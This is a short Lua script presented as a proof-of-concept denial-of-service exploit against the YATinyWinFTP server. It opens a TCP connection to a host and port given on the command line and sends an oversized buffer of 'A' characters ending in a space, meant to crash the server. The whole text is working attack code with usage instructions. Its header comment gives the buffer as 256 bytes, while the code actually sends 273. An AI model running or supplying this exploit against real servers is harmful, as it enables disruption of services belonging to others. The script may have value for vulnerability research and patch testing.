-- Title : YATinyWinFTP - Denial of Service (PoC)
-- Writer : uromulou
-- Description : This program connects to FTP and sends a 256-byte packet with a space at the end, in short, down.
-- NOTE: requires luasocket installed to run the program.
-- Instalation using luarocks : luarocks install luasocket
-- The program
local socket = require 'socket'
local tcp = socket.tcp()
local buff = string.rep("A", 272) .. "\x20"
print("# YATinyWinFTP - Denial of Service (PoC)")
print("# Powered by @uromulou")
if #arg < 2 then
print("# lua exploit.lua [server] [port]")
print("# lua exploit.lua 127.0.0.1 2121")
else
print(string.format("Connectin to %s:%d...", arg[1], arg[2]))
tcp:connect(arg[1], arg[2])
print("Sendin bytes to server, waitin, and... DOWN!")
tcp:send(buff)
end